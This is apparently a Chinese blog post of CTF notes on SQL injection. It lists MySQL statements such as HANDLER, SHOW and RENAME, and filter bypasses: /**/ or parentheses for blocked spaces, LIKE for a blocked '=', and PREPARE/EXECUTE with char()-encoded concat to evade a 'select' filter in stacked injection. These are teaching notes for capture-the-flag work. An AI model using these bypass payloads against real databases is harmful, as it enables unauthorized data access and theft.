SQL注入相关语句及绕过

handler语句

handler table_name open:打开一个表的会话
handler table_name read first:读取第一行数据
handler table_name read next:读取第二行数据
handler table_name close:关闭会话

show和rename

show语句

show databases 显示当前数据库名称
show tables 显示当前数据库中所有的表名称
show columns from table_name 显示指定表中的数据类型信息

rename语句

rename table table1 to table2 将table1的名称改为table2

alter语句

alter table table_name add column_name datatype 在指定的表中添加指定的列
alert table table_name change column_name data datatype 指定的表中修改指定的列
default:DEFAULT 约束用于向列中插入默认值。
如果没有规定其他的值,那么会将默认值添加到所有的新记录。

过滤空格

空格被过滤用/**/来绕过;
还可以使用括号来绕过() select(database())空格处要有)或(其中一个
例如(select(group_concat(password))from(H4rDsq1))

过滤=

等号=被过滤可以用like来绕过

flag只有一半

flag只被显示出一半
select left(name,25) from table_name
select right(name,25) from table_name
最后得到的结果记得把重叠的部分删除

预处理命令绕过

预处理命令绕过在一次堆叠注入时见过强网杯 2019 随便注。大神的writeupBUUCTF 随便注 WP。本题过滤了select所以可以利用concat拼接字符串然后用预处理命令来绕过。
预处理命令

PREPARE sqla from '[my sql sequece]';   //预定义SQL语句
EXECUTE sqla;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句

预处理命令参数变量来传递

set @sql=concat(char(115,101,108,101,99,116)," * from \`1919810931114514\`")
PREPARE sqlb from @sql  //定义预处理命令
EXECUTE sqlb  //执行预处理命令
(DEALLOCATE || DROP) PREPARE sqlb; // 删除预处理命令
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值